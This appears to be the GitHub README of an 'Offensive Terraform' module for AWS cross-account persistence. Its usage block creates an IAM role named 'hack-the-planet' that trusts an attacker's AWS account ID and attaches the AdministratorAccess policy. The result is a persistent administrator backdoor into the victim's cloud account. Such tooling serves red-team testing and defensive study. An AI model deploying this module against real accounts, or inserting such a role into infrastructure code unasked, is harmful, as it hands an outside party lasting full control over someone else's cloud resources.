Skip to content

Files

Latest commit

bbe5e50 · Sep 10, 2020

History

History
27 lines (20 loc) · 939 Bytes

File metadata and controls

27 lines (20 loc) · 939 Bytes

AWS Cross Account Persistence

OffensiveTerraform OffensiveTerraform OffensiveTerraform

Offensive Terraform module which creates an IAM role with trust relationship with attacker's AWS account and attaches managed IAM Policy to an IAM role.

Attack Diagram

Usage

module "cross-account-persistence" {
  source  = "offensive-terraform/cross-account-persistence/aws"

  role_name           = "hack-the-planet"
  policy_arn          = "arn:aws:iam::aws:policy/AdministratorAccess"
  attacker_account_id = "000000000000"
}

output "role_arn" {
  value = module.cross-account-persistence.role_arn
}

Author

Module managed by https://github.com/iganbold